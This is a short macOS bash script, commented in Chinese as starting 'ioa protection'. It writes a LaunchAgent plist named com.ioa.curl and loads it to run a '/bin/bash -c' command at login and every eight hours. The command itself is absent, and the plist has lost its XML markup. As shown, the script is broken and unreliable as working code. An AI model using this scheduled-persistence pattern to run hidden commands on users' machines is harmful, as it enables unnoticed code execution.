#!/bin/bash # 脚本功能:启动ioa防护 # 方法:生成一个 Launch Agent plist 文件,并加载该 Agent # 1. 定义 plist 文件存放路径 LAUNCH_AGENTS_DIR="$HOME/Library/LaunchAgents" PLIST_FILE="$LAUNCH_AGENTS_DIR/com.ioa.curl.plist" # 2. 检查 LaunchAgents 目录是否存在,不存在则创建 if [ ! -d "$LAUNCH_AGENTS_DIR" ]; then echo "目录 $LAUNCH_AGENTS_DIR 不存在,正在创建..." mkdir -p "$LAUNCH_AGENTS_DIR" fi # 3. 生成 plist 文件 cat > "$PLIST_FILE" <<'EOF' Label com.ioa.curl ProgramArguments /bin/bash -c RunAtLoad StartInterval 28800 EOF # 4. 检测结果 launchctl load "$PLIST_FILE" if [ $? -eq 0 ]; then echo "succeed" else echo "error" fi